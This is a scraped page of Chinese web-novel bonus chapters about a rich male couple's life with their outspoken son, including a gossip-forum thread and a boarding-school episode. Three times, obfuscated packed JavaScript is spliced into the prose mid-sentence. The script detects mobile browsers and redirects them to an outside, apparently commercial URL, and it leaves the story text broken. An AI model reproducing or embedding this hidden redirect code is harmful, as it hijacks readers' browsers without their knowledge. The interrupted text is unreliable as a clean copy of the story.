想带着堕落都没档期。 迟铎幻想里的大文豪,最后还是长成了裴与驰Jr. 不过投资回报率倒是稳定,裴太上东区贵妇的地位,肉眼可见又能再牢固几十年。 名字好像真有说法。早知道给他取名裴宝宝了,跟他外公迟了了坐一桌挺好的。至少他现在也不用这么心疼。迟铎想着。 这些都是后话,我们先回到他小时候。 关于裴小少爷的身世,外界一直有很多版本的猜测。领养的,DY的,反正共识只有一个:一定是精挑细选,严格出品。因为怎么看都特别像裴与驰,但有时候又会突然像一下迟铎。 事实证明,就算百分百亲生,该麻烦的时候也一点没少。 裴砚舟还是小海马的时候,是个超级小天使。每天自娱自乐吃手手,开心得不行,属于那种完全不需要额外操心的类型。更多时候纯粹是迟铎母爱泛滥、爱加戏。实际上人家在家里跟nanny们玩得不要太高兴。 但后来有那么一段时间,他突然进入了一个非常诡异的阶段,俗称小恶魔时期。 还是聪明得要命的小恶魔。 他会在迟铎毫无防备的时候,口无遮拦地说一些逻辑完全没问题、但杀伤力极大的话。 迟铎有段时间是真的怕他,怕到每次带他出门前都要给自己做一百遍心理建设: 这是我亲儿子,亲生的,亲的。 他长得像他爸,像他爸,像他爸。 他爸。 当他一次次被一句童言无忌精准送走、当场社会性死亡,恨不得原地蒸发的时候,他是真的能理解迟了了当年为什么老琢磨着去买七匹狼。 后来事情已经严重到了非必要不带出门的地步。可有些场合又必须带,又偏偏就是这种场合,最怕带。 裴谦之生日那天,裴家和沈家的亲戚到得特别齐,其他有头有脸的人物也齐聚一堂。这种级别的生日宴会,长辈多、关系杂,气氛看着和谐,其实你来我往,暗流涌动;一个个看上去老态龙钟,实际耳聪目明得要命。是你嘴瓢一次,圈里就能流传十年的那种场合。 而且最可怕的是,话被同辈或小辈听见后,还会顺理成章“网络见”。反正微信公众号那篇《上东区的名流贵妇们》已经连载了好几期,说是贵妇“们”,其实目标人物明确,还阴阳得特别体面:问就是,CD是Cecilia·D夫人的名字缩写,不是迟铎。 所以西西莉亚夫人出门前早有防备,提前让保姆艾米准备了一套乐高小火车放在旁边,就等着随时转移注意力,避免魔言魔语现场爆炸。 小恶魔此刻被打扮得人模人样,坐在迟铎腿上,冷着一张小脸,活脱脱一个迷你版裴与驰。长得跟他爸在他刚出生时评价的丑两模两样。但也就是这张脸,日常负责迷惑他妈放松警惕。 大家正在餐桌上聊着家常,他忽然抬头,用那种非常天真的语气,清清楚楚地说了一句:“mommy和daddy天天亲亲。” 空气静了一秒。 裴与驰:“……” 迟铎:“……” 迟铎几乎是条件反射地伸手,把自己儿子的嘴捏成一个小企鹅嘴,脸上已经挂好标准社交微笑。 “来,”他说,“拼乐高。” 没想到还是一没注意就被钻了空子。迟铎暗恨。 他低头确认了一下,又确认了一下。小恶魔的注意力确实已经成功被桌上的积木吸走,小手开始认真拼装,应该不会再随地大小雷。迟铎这才缓缓松手,继续若无其事地参与聊天,仿佛刚才什么都没发生。 结果还没撑过五分钟,也不知道是哪个词又精准触发了小恶魔的雷达,他忽然抬头了。 “nanny帮我洗澡澡。”他顿了顿,像是在认真回忆流程,又补了一句:“daddy帮mommy洗澡澡。” 主谓宾齐全,逻辑自洽,语言能力确实不错——不愧是六边形男人的儿子。 这次连空气都没来得及凝固。 “噗嗤——” 角落里某位同辈旁亲实在没忍住,笑出了声,下一秒立刻用咳嗽把自己捞回来,假装嗓子不舒服。咳得清脆响亮,速通网络的问题明显不大。 迟铎坐在那里,表情管理差点当场崩盘,脑子里只剩下一个念头:今天不是送他走,就是送我走。 他重拾回笑容,手里杯子都没放下,就不动声色地抬眼看向艾米:把这块叉烧抱走。 现在。 立刻。 艾米训练有素,三秒内完成反应。她走过来,笑容温柔自然,伸手把小恶魔抱起来:“我们去那边玩,好不好?” 小恶魔看了她一眼,又看了迟铎一眼,冷着脸点了点头,非常配合。 被抱走之前,还贴心地补了一句:“mommy不要紧张。” 孩子离开后,场面慢慢回暖。迟铎缓过来,端起水杯,刚喝了一口,就听见旁边低低的一句:“他话说得还挺完整,观察力也不错。” 点评得公正、客观。 迟铎差点被水呛到,他侧头瞪了裴与驰一眼。 裴与驰没躲,反而微微偏过来一点,说话的时候气息擦过迟铎耳侧,笑意明晃晃的:“你教得好,嗯?” 迟铎:“……” 老子真的服了。 他还好意思说。 其他人笑就算了,这位哥们在笑什么?难道他就跑掉了吗? 小恶魔这属于无差别攻击,亲爹亲妈一视同仁地孝顺,谁都没被放过。 迟铎低声呵斥:“闭嘴。” 他已经彻底绝望了,已经不止一次。 这种事发生得多了,儿子几乎把他和裴与驰的夫妻生活细节都抖干净了。 还专挑这种场合。 本来大家心照不宣装作没听见也就算了,迟铎刚重返人间,就有家族的长辈还试图给裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001017|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太打圆场。主要是考虑裴与驰这几年往信托里给家族增的钱可不少,大家端碗吃饭,自然想着,别让裴太难做。 出发点是好的,语气也非常慈祥,就是内容稍微欠缺考虑:“哎呀,别当真,小孩子懂什么呀~~~~都是学大人的。” 还有人赶紧接力,生怕裴太还没被送出地球:“小朋友观察力可强了,什么都记得住。” 迟铎:“……” 这是在安慰,还是在提醒全桌,他和裴与驰确实很不体面? 不体面到在婴幼儿面前演动作片。 行。 谁让自己当时忘记锁门。 迟铎能在网上被钉死在娇妻贵妇赛道,他儿子也没少出力。 后来,小恶魔长成了小冷脸男,终于不再随地大小雷,又变回妈咪的贴心宝贝。 依旧小恶魔时期: 圣诞前一周,迟铎在家里绕着圣诞树转了三圈,什么都没发现。 “Ethan,你的愿望清单呢?”他蹲下来跟儿子平视,“怎么没放树下?” 裴砚舟坐在地毯上拼乐高,头都没抬,魔言魔语冷得让人心寒:“妈咪,我已经在心里想过了。” “如果真的有圣诞老人,那他已经知道了。” 迟铎:“……” 为什么育儿手册上的孩子,和他儿子本人,就跟买家秀和卖家秀一样,完全对不上号? 晚上。 操心完,又被C完。 “你儿子喜欢什么?”迟铎洗完澡,理所当然地趴在裴与驰身上,不耻下问。 裴与驰靠在枕头上,懒洋洋看了他一眼:“他喜欢什么不是都立刻拥有了?” 手顺势往下探,浴室只是前菜。 迟铎被噎住:“我是指小物件,不是大件。” 裴与驰看着他,停了两秒,像是很疑惑:“你管那些叫大件?” 迟铎:“……” 他面无表情地把那只不老实地手拍开。 行。 他今年别想收到Ethan亲手做的父亲节手工礼物了。带亮片、带闪粉、还印着DADDY!的马克杯和 T 恤。 迟铎本来还挺期待的,毕竟那是他和Ethan联手做给裴与驰的。blingbling到不行,他特地撒了好多亮片。 小的撬不开嘴,大的也指望不上。只能靠迟铎自己想了。他无奈之下,干脆把网上这个年龄段以及更高年龄段的热门圣诞礼物都买了一遍:蜡笔、拼图、桌游、模型……他一边买一边怀疑,觉得蜡笔这种东西自己儿子大概率看都不看一眼。 但迟铎很快又把自己说服了,买得越多,命中率越高。 大采购后,他义正严辞地要求裴与驰和他一起包装,尽到一个父亲的责任。 裴与驰看着装满整个车后备箱的礼物:“……” 关于Ethan不信圣诞老人这件事,裴与驰想了想,还是没说。 反正迟铎信就行。 于是资本家和资本家夫人真熬了大半夜,两个人躲在房间给儿子包圣诞礼物。为了确保不会被提前发现,他们硬是等到儿子彻底睡熟才敢开工。包完还一个个轻手轻脚地往楼下搬。等全部搬完,鸡都快打鸣了。 礼物原本应该乖乖摆在圣诞树下,结果堆起来的高度都快赶上圣诞树本体。 一言难尽。 裴与驰看了一眼成品,感觉儿子既够不到礼物,又得拆到明年。 但还是那句,happy wife,happy life。别多事。 第二天, “Ethan,圣诞老人送的礼物喜欢吗?”迟铎装作随口一问,语气努力轻松,眼神却藏不住期待。 裴砚舟:“嗯。” 其实他根本还没拆,因为以他的身高,根本都够不到大部分礼物。 迟铎刚松一口气,开心还没来得及浮上心头,下一秒—— “妈咪,礼物的包装纸在家放了快一年了。”小恶魔用软软糯糯的声音低声说,杀伤力却一点没打折。 他还认真想了想,像是在做最终确认,才又补了一句:“和去年一样。” 迟铎:“……” 他忽然有点庆幸:他和裴与驰还没竹马到从小一起长大,没见过裴与驰的裴砚舟同款童年。 不然别说爱上了,他估计见一次拉黑一次。 47.等待的西西莉亚[番外] 裴与驰正在和自己的妻子,在私人游艇上就要不要再生个女儿这件事进行激烈探讨。 动手不动口的那种。 与此同时,国内凌晨,一个名为 Made in Winchester 的公众号,悄然发布了一篇豪门短篇小说,标题致敬凯特王妃当年的经典叙事《the triumph of Cecelia·P》。 文章以第三人称的口吻,讲述了一个名为Cecelia.D的故事。 内容如下: 前有Waity Katie戴上皇冠,后有Cecelia.P戴上婚戒。 和Katie那种从中产阶级一路向上、目标清晰、步步跨越的路线不同,Cecelia的人生,更像是在同一阶级内部完成的一次长期绑定。在足够漫长的时间里,始终站在对方身边,最终等到身份确认。 他踏上英国这片土地,是从prep school开始的。 彼时,家庭尚有余温,却已显露颓势。祖父功成身退,平稳落地;父亲并无太多建树,但信托稳定;母亲的背景一如既往地门当户对,足以维持这一代的体面。 这是一个不会再主动向上,但也不至于立刻坠落的家庭。他们所能给予的,并非明确方向,而是足够长的缓冲时间。 也正是在这样的背景下,Cecelia进入了W College。当时的他显然想不到,自己会在这里,误打误撞,捞到一只金龟婿。 对方的身份,在公开叙事中需要被处理得相当克制,来自最有权势的家族之一,独子,Ba·P。除此之外,无需更多说明。 两人的相遇发生在Year8。 那一年,他们都只有十二岁,还只是校园里再普通不过的一群小男孩。没有两小无猜,也谈不上任何命中注定。至少在最初的阶段,他们并未频繁同进同出,更没有引起过多关注。 变化出现在接近Year 9的时候。外人不知其缘由,他们也未曾解释。 只是从那之后,Cecelia与Ba开始频繁同时出现,一起进校,一起离开。 再也没有分开过。 从W College毕业后,Ba的选择,让圈子里的人感到意外。 他并未按照既定剧本,完成那条早已为他量身定做的路径,读完牛津 PPE,然后归位。 这原本是一条已经写进家族预期的未来。 相反,他选择了伦敦,一条与其父亲截然不同的道路。看起来,像是把前途与未来,押在了另一种可能性上。 至于这一决定是否与Cecelia有关,外人不得而知。 大家只知道—— 同一时期,Cecelia也在伦敦。 而在那个圈子里,稍加打听便会知道, 他们挤在同一间公寓里。 后来的事情,便无需赘述。 十二年后,Cecelia的无名指上,戴着与Ba一模一样的婚戒。 甚至,还有了一个儿子。 这篇文章没头没尾,一开始大家只当是新天地名流贵妇文学的英区分号。在失去Emily更新的日子里,读者们决定试试Cecelia的咸淡。 结果越看越觉得不对劲。主人公叫Cecelia,却被称作“小男孩”;背景是英区的W College;作者署名还叫Made in Winchester,很难不让人联想到那所众所周知的男校。 直到这时,大家才恍然大悟,这写的哪里是什么英区贵妇文学,分明是在阴阳最近话题中心的那对男通讯录。 更微妙的是,作者行文里透着一股“好像很了解,但又不算特别了解”的距离感。 不像媒体,也不像粉丝,更像是那种同学,或者至少在同一圈子里待过的人。 意识到这一点后,事情的走向便再也刹不住了,有人顺着文章开始扒。 英区的事,大英报哥当然一马当先。 扒完发现,大部份还真对得上。 于是连夜出长文,号召大家点赞、阅读、转发,论坛当然没错过此等盛事。 热帖很快出现: 【大家看了英区Cecelia爱情故事了吗?】 主楼相当直接,没有废话,上来就是公众号文章截图 + 大英报哥的微博链接。 大家怎么看? 报哥有点东西。他先结合文章和作者名字,从Winchester College下手,翻学校官网的archive页面,找到了历届Head Boy名单。在对应的年份,Bruce Pei这个名字赫然在列。随后他开始顺着扒迟铎。迟铎这边没有直接能对得上的校方名单,也没出现过姓名级别的公开资料。 但报哥很快换了思路。他回到那张出道前的出圈照,当年搬运的时候,下面其实标注了模特和创作者的名字。而迟铎本人在采访里也提过一句这是帮朋友的作业。 顺着创作者的名字去扒社媒,一切忽然对上了。伦艺男装设计毕业,中学同样是Winchester。更巧的是,这位创作者早年公开过部分申请伦艺时的作品册内容。 而那本册子里的模特,正是迟铎。 回头再看那篇《the triumph of Cecelia·P》,时间线、人物关系、男校背景,开始严丝合缝。他们是同学的可能性,已经高得离谱。 反正我个人觉得锤死了。 2L: 这时间线其实已经很能锤了。我第一反应也是那篇文不像编的,太多细节是那种知道一点,但又不敢写死的感觉。真要编,反而会写得更满、更用力。它偏偏不是,很像那种在同一个学校待过,但不在一个核心小圈子里的人写的,见过、知道点,但不够资格乱说。 3L: 而且W College、小男孩、作者名叫Made in Winchester,这已经不是暗示了,这是生怕我们看不懂吧?xswl,Cecelia.D是谁真的写脸上了。 4L: 而且那篇文章把他们关系变好的时间写得好具体,不像随便编的。如果是真的,12岁同校认识,后来一路没分开,这和王妃那对真的一模一样,只是阶级版本不同。怪不得标题敢直接致敬。之前那个被秒删的上嫁帖,现在回看真有友友猜到点上了。 5L: 软文和咯噔文学虽迟但到。 上嫁吞针啊,cd现在竟然要靠买这种秀恩爱。 6L: u1s1,这要真是cd买的,那只能说他是发癫了。 哪有买稿会这么阴阳怪气嘲自己家里日薄西山? 正常通稿不都强调强强联合、门当户对吗,“钓金龟”这词放谁身上都不好听。 7L: 那按这个时间线,他不就是gay装直男? 骗粉塌房咖真的好恶心,能不能赶紧退圈。 8L: u1s1,他到底塌在哪? 未成年没锤不算,剩下被反复拎出来的就一个性向,这也算塌房? 更何况他也没舞过直男人设,没营业异性CP,也没立过男友人设。 他装啥了?总不能要求人家在额头上贴个“我是gay”到处走吧。 9L: 说到底,塌的还是梦女的心理预期。 梦女强行把他认定成直男,结果他没按她们写好的剧本走,说白了就是投射塌房。 粉丝把幻想和情绪全压在他身上,本来就是一场单方面共谋。 CD没惯着,出柜、结婚一步到位,对象还选得特别绝,大概就是alpha找了个enigma,连双的幻想都不给留。 更致命的是,这段关系在组内叙事里还是上嫁。 本来粉的是高富帅,结果爆改成豪门娇妻。 这谁受得了? 10L: 性向本身不是塌房,但文娱圈默认不暴性向,爆了确实没几个剧方敢邀。 不过他应该无所谓,本来他老公未来重心就在海外,他完全可以靠老公运作去接网飞,或者接触那几位专注海外电影节的导演。 11L: 结合这篇文,我反而懂了,之前他们刚爆出来的时候,gay达真的一点没响。两个看上去都很顺直,都不是牛蛙配短裤白袜那挂。 片场视频前半段完全是好兄弟打闹,后半段当我没说,太诡异了。直一下弯一下,速度比 Faker 切屏还快。但如果真是12岁就认识,那现在这个状态反而合理了,不是谈了几年恋爱,是人生一半以上都共享,很多下意识的兄弟行为其实都是在一起太久了的证据。 12L: 顺直在哪?单拎出来看我不反驳。 但一起的时候,cd抱着孩子那种人妻味真的很重,安安静静待在旁边,一副我相信你能处理好的状态。 宝宝在那乱挥小手,cd把孩子递给他老公的时候,还会下意识抓着小宝宝的手。 这种细节真的很难演。 说实话,那种星星眼也很难装这么自然。 13L:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009019|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 按这个扒法,他们是同学大概率,但不一定谈了很久。 cd进圈早期资源也就那样,都是公司撕的,黑热搜压得也一般,和现在比确实差挺多。 14L: 但如果这条时间线是真的,那他们俩的感情线比现在看到的久远太多了。 怪不得熟成这样。 他们的视频真的挺好磕的,比耽丑护眼,情节还更浪漫。 他老公穿那身,扛着一大束花等cd的时候,形象跟以前完全不同,明显是cd会爱的那一款。再看 cd 那个激动的样子,真的爱得不行。 所以说这是联姻的,我是真的不太能理解。联姻一般是各玩各的、各自体面,他们俩明显不是。这对一直是互相看着对方的,眼神根本没离开过。 不像JB大步流星在前面走,海狸穿着高跟鞋在后面踩成风火轮追。 …… 30L: 我现在比较好奇的是:他们到底什么时候确定关系的? 文里写的是12、3岁就开始同进同出,但那个年纪都是小朋友吧,不至于已经在谈恋爱了。可后面又说大学阶段一直住一起,如果关系已经这么紧密,按cd的性格,应该完全不会藏。 从他出道到出柜这三年,看起来是有点空窗期的感觉? 31L: 提供2个思路, 要不就是公众号写的等待的Cecelia,两人分分合合,主导权不在cd,那位玩够了兜一圈,最后发现还是他最好。 另一种就是彻底纯爱,纯到妈都不认识的那种:从小死党,一直没意识到这是爱情,某天突然意识到不对劲,柜门压不住了,直接忘情了,发狠了,直接一步到位。 反正这两种目前都说得通。 以cd目前状态,要是真被拉去采访,原话大概会是7个好爱重现江湖。 “好爱好爱好爱好爱好爱好爱好爱的亲亲老公。” …… 200L(楼主): 行了,吵了这么多楼了。该扒的也扒了,该骂的也骂了,该破防的也已经破防完了,我瓜也吃得差不多了。 反正不管是等待的Cecelia,还是纯爱到妈都不认识,横竖都是豪门内部消化,跟我这种每天被老板追着跑的牛马没什么关系。 他们爱得挺好,我明天还得上班。 散了吧。 祝他们幸福,也祝我月底别再吃土。 那个公众号作者的IP显示在海外,用的是WeChat。写完这篇之后,账号便再没更新,很显然已经被弃用。 关于作者身份的猜测,在网友之间传得有模有样,也并非毫无根据。 大概率是曾经的同学,或至少在同一个圈子里待过的人。可能与这两位有过一些接触,也可能只是远远看过;至于是爱而不得,还是别的什么原因,外人无从得知。 至于背后的故事究竟如何,没人说得清。 也不重要了。 重要的是,从这一刻开始,迟铎有了一个新的名字,Cecelia,而裴与驰,则成了Ba。 之后感恩他们儿子贴心提供素材而能稳定更新的“上东区名流贵妇”系列,也顺理成章地沿用了这两个名字。 阳光照在迈阿密的海滩上,也落在游艇的甲板上。 迟铎懒懒地躺在沙发上,头上随意盖着一本杂志,遮住了大半张脸。旁边的茶几上放着一杯pina colada,冰块尚未完全融化,热带气息被海风推得恰到好处。 忽然有光从杂志边缘漏进来,下一秒,是熟悉的气息,和落下来的一个吻。迟铎眼睛都没睁开,只是伸手,把人用力一拉,两道身影便顺势交叠在一起。 阳光记录了这一刻,海浪也记录了,而远处的长焦镜头,同样没有缺席。 “……” 吃瓜路人盯着那张照片,沉默了很久。 除了“祝幸福”,一时间竟也说不出别的。甚至还有人下意识松了口气,至少,这一次,迟铎没有重现那只著名的“高潮脚”。 这个世界向来如此,先比烂,再看底线。 当你发现一件事没有想象中那么不堪,甚至还能从中品出一点点幸福,最开始那些铺天盖地的污言秽语和恶意,也就慢慢退场了。 剩下的,多半只是好奇。 是被工作折磨了一整天之后,留给自己睡前的一点消遣。 而他们满溢出来的幸福,其实只露出了那么一点点。 就这一点点, 已经足够让许多人,悄然改了口风。 48.青春期[番外] 这几年,华尔街南下几乎成了一种风潮。 裴与驰向来务实。作为纽约新贵,把家和公司迁到迈阿密,不仅能省下一大笔州税,迈阿密的阳光与沙滩,也显然更适合迟铎和他。迟铎在这种光线显得更……不用丝毫努力就充满风情。 更重要的是,也更适合裴砚舟。 迈阿密的学校看起来像度假村。阳光、海滩、俊男美女,简直是无数小说浪漫情节的最佳发生地。 裴砚舟完全可以放学后在沙滩上和喜欢的人散步,再回家吃饭;周末一家三口出海,生活完美又放松。 裴与驰认真考虑过这条路线,结果被亲儿子一票否决。 裴砚舟是苦难教育的重度拥趸。非要留在新英格兰这片苦寒之地,走他爸当年走过的老路,住军事化管理的寄宿学校。 外人不知道内情,看不下去,忍不住批评他的父母是典型亚洲虎爸虎妈,只知道鸡娃,关键还完全没必要。毕竟按现实条件,裴砚舟毕业后随便进家大行的私人财富管理,他爸把钱往那儿一放,他就可以全程远程工作,连西装都不需要穿 裴与驰:“……” 迟铎:“……” 既然儿子坚持,爸妈也只能尊重选择。 当然,是尊重了一半。 他们陪着裴砚舟面试完新英格兰地区的所有寄宿学校,让他亲自选了最喜欢的一所。然后,这对夫妇非常自然地告别了纽约那套阴暗、昂贵、永远见不到直射阳光的高端公寓,转身住进了迈阿密阳光洒满每个角落的庄园。 分工明确:孩子吃苦,爸妈享福。 裴砚舟报到那天,全家齐上阵。外公外婆也在,夏威夷旅游顺路来看外孙。裴沈夫妇自然不在,但钱在哪,爱就在哪,一笔数额可观的慰问金早已安静地躺在孙子的账户里。 裴砚舟住的宿舍是单人间,环境很好,空间很大。 迟铎进门扫了一眼,明显松了口气,紧接着又流露出一种微妙的复杂情绪,像是放心,又像是替儿子感到一丝遗憾。 裴砚舟:“……” 他只看他妈咪一眼,就知道他在想什么。 无非是那套经典幻想: “要是能碰到个合得来的室友就好了,最好还能顺便发展成lifelong bond,从roommate无缝衔接到soulmate。复制粘贴他和裴与驰的剧本。” 裴砚舟很想提醒他亲爱的妈咪三点: 第一,这个世界不是每个人都这么幸运。 第二,不是每个双人间都能刚好凑出两个怪胎。 第三,请不要默认你儿子的性向,你们已经在这件事上越界很多年了。 但他忍住了。 青春期小孩也是有底线的,尤其对象是他妈咪。 然后,灾难开始了。 明明这对父母自己也是寄宿学校一路读上来的,对规则熟得不能再熟,但当天,迟铎还是和宿管展开了一场异常友好的交流。内容包括但不限于:公共休息室采光是否充足;宿舍清洁能否每周由家长安排;游戏室娱乐设施略显单薄,他们可以捐新的;以及语气最轻、杀伤力最大的一句: “那个……微波炉能不能换一下?” 宿管一愣。 迟铎语气真诚,手已经自然地指向他们带来的那台全新设备:“我们这个型号是最新款,更干净,用起来也放心。” 裴与驰站在一旁,像是认真思考了一秒。 裴砚舟把全部希望都寄托在了这个看起来最正常的父亲身上:“求求了,老……daddy。” 然后裴与驰开口了:“如果需要,我们可以给整个学校都换。” 方案体贴、完整、不让人难做。 宿管:“……” 钱在这所学校不稀奇,稀奇的是这种把孩子生活自理能力从系统里直接删除的家长,还是亚洲家长。 自己管理过的有钱巨婴样本库,又新增了一个。 裴砚舟:“……” 这一刻,他真的很想当场宣布:断绝关系。 所幸在那之后,他靠自己,成功扭转了宿管对他的初始印象。 后来他严厉地警告父母不要再插手学校事务,父亲当场收手,母亲则一如既往。 迟铎每周都会准时出现在学校,带着人给他做深度清洁,顺便补齐一整套物资:零食、换洗衣物、常用药品,以及那只他小时候睡觉一定要抱着、理论上早已退休的大兔子。而且这项服务并不局限于宿舍。走廊、公用休息区,甚至他们那一层楼的洗衣机,迟铎都非常认真地研究过要不要里里外外消毒一遍,只是暂时没能说服成功宿管。 裴砚舟站在门口,看着门边多出来的小冰箱和咖啡机,桌上已经点好的香薰,墙上挂着的星星护眼灯,以及那张摆放位置十分讲究的一家三口合照,再看一眼床上并排坐好的两只一灰一白的大兔子,和衣柜里已经熨烫好、按颜色和季节分类摆放整齐的衣物,一时间连吐槽的力气都没有了。 有了那两只大兔子,他睡觉都没地方睡,只能挪到地上继续供奉,结果半夜上厕所的时候,踩兔子肚皮上差点摔的四脚朝天。 裴砚舟对此无可奈何,但他又不想让妈咪伤心,于是只能在心里认真考虑一个极端方案:要不要干脆转学到英国男校,远香近臭,至少隔着一个大西洋。 这个念头刚冒出来就被他自己掐灭了。他太了解迟铎了,真要转回去,他妈咪大概率会直接打飞的过来。 那样一来,他很可能会在美英两地同时出名。 对于一个正处在青春期、有极强羞耻感的少年而言,这是完全不可接受的社会性死亡。 所以他选择接受现实。 就这样,在迟铎完全无意识的情况下,他用一种极其温柔、极其持久的方式把裴砚舟小恶魔时期造成的精神伤害,原封不动地报复了回来。 循环闭合。 奉行苦难教育的裴砚舟,确实在精神层面,接受了相当完整、且无法申诉的苦难教育。 日子一晃过了几年。 十四岁的裴砚舟长相已经完全复刻了他爸,连神情和动作都是,冷漠中带点天生的傲慢。不过和裴与驰从小就格外在意dress code不同,裴砚舟对穿着的态度明显更随意,也更叛逆:棕色卷发,全黑连帽卫衣,黑色裤子,脚上一双典型的白色Air Force 1。 既不像他爸那样posh到随时显得在装逼,也不像他妈那样地下到随时显得有点邋遢。 除了袖子里面的那块百达斐丽,他看起来就是标准青少年,是在路上,正常人会下意识绕开的那一类。在美国,大家最怕的从来不是流浪汉,也不是零元购,而是teenager。 这位teenager一进门,先扫了一眼空无一人的房子,脑里警报立刻拉响:危险,工作人员都不在;更危险,父母可能在;最危险,父母可能在楼上但听不见人类语言。 他抬手,用一个极其熟练的手势制止了准备一窝蜂往里冲的队友们,然后中气十足喊:“mommy!Dad!”音量很大,比起问候更像喊麦。 队友们:“……” 他们一时间不知道该先震惊这么酷的Ethan,开口第一句居然是叫“妈咪”,是传说中的mommy’s boy;还是该震惊,他们家打招呼的方式,居然全靠吼。 没有回应。 裴砚舟明显松了口气,偏头示意:“进”。一群人鱼贯而入,厨房瞬间沦陷,冰箱被洗劫一空。 裴砚舟对此视若无睹,他从一位队友的嘴里淡定地抢过一罐冰可乐,拉开,喝了一口。 然后掏出手机,准备打电话。如果他父母此时正在什么天体海滩,或者酒店里进行角色扮演,那最好先别回来。 或者至少,穿好了再回来。 电话还没开始拨,楼上突然传来了动静,裴砚舟青筋一跳,下意识抬头。 裴与驰穿着浴衣,出现在楼梯口,浴袍穿得相当随意,腰带系得很松,胸肌和腹肌几乎是明目张胆地露在外面,至于是在勾引谁,这个问题暂时不必深究。他在楼梯上停住脚步,低头,看向楼下这片已经彻底失控的“蝗虫过境”现场。 裴与驰:“……” 下一秒,楼上门又响了一声,一双手从背后直接搂住了裴与驰的腰,动作熟练,毫不避人,另一只手还拎着一副手铐,在空中晃了晃。 迟铎的声音跟着响起,语气轻快得不太合时宜:“长官,你怎么可以piao完不付钱,罚你用腹肌给我——” 话还没说完,就被裴与驰反手一捂,整个人往后带了一步,嘴被结结实实捂住。 裴砚舟:“……” 懂了。 下次喊人要提前录好,用音响循环播放。这对难评的父母,靠吼是听不见的。 裴砚舟甚至懒得再判断他们在干什么。 从小到大他已经形成了一套稳定认知系统:当父母听不见外界声音时,多半不需要知道原因。 硬要他猜,可能在做gym。 老爸负责腹肌,老妈负责监督。 反正一句话总结:动物本性深入骨髓,进化方向明显偏离人类社会。 迟铎这时才意识到楼下不对劲,他探头一看,好家伙,零元购进行时:有人直接往嘴里倒薯片,有人蹲冰箱前挖冰淇淋,还有相对高雅的,已经开了鱼子酱认真往面包上抹。 迟铎:“……” 裴砚舟站在一旁,语气平静提醒:“妈咪,我之前跟你说过,春假后有比赛。我想带队伍到家里练习。” 很显然,这件早就提前报备过的事项,早就被彻底遗忘。 至于原因,很难猜,难猜到裴砚舟要认真思考一秒才能得出自家父母忙着鬼混去了这个结论。 迟铎:“……” 是真的忘得一干二净。倒也不能全怪他,主要是裴砚舟这条消息,来得实在太不合时宜。 裴与驰刚从迪拜飞回来。 半个月。 整整半个月。 迟铎当时正在机场,情绪高度集中,手机里反复确认航班状态,脑子里已经自动清空了所有母亲身份的待办事项。 老公的脸,和儿子的消息,几乎是同时出现的。 春假? 橄榄球? 比赛? 队伍练习? 对不起,儿子脑已下线,请稍后再试。 现在,面对一屋子青春期荷尔蒙和零元购现场,迟铎终于后知后觉地意识到,自己当初不带脑子答应儿子的那句话,将直接导致接下来整整一个月,家里听取鸭声一片。 而更致命的是,他和裴与驰精心规划的二人世界,已经在这一刻,宣告全面崩塌。 迟铎彻底崩溃,面对好不容易闲下来的老公,他只想当娇妻,结果现在被迫要当班主任,管的还是一群精力旺盛的鸭子们。 但一切的源头,是他自己。后院那块橄榄球运动场,本来就是他爱子心切亲手造的。自从裴砚舟开始打橄榄球,花园里的部分园艺,就被迟铎一声令下清除。灌木拔掉,草坪重铺,后院直接改造成标准训练场。 为了所谓的亲子时光,连场地上的划线都是一家三口一起完成的。为此,他还给了某个金融男不少好处,哄完老子哄儿子。 当时觉得温馨。现在回看,全是给自己挖坑。 自己挖的坑,跪着也得填完。 相比之下,裴与驰接受现实的速度明显更快。 他站在楼梯口扫了一眼现场,已经开始打电话。家里原本的工作人员当天因为显而易见的原因被放假。几个电话过去,助理那边迅速进入战时状态,临时雇佣的厨师和佣人陆续就位。目标很明确,一是确保这个房子还能正常运转;二是确保这一整队饭桶,能在训练结束后吃饱。 鸡飞狗跳的集训生活,就这么正式开始了。 家里明显不太安全。你可以在任何地方随机刷新出一只朝气蓬勃的鸭子。 沙滩也是。 迟铎和裴与驰刚刚靠近、准备亲吻的那一秒,从背后整齐划一地冒出来: “Hi, Mr. Pei!” “Hi, Mrs. Pei!” 声音清脆,笑容灿烂,充满了对成年人私人空间的无知与冒犯。 嘎嘎笑得迟铎想去威胁鸭子们排排坐坐好,他从左到右挨个捏鸭嘴消气。 晚上更是灾难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009020|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 蜡烛已经点好,床的帷幔被放下,灯光暧昧得恰到好处。 …………………………………… 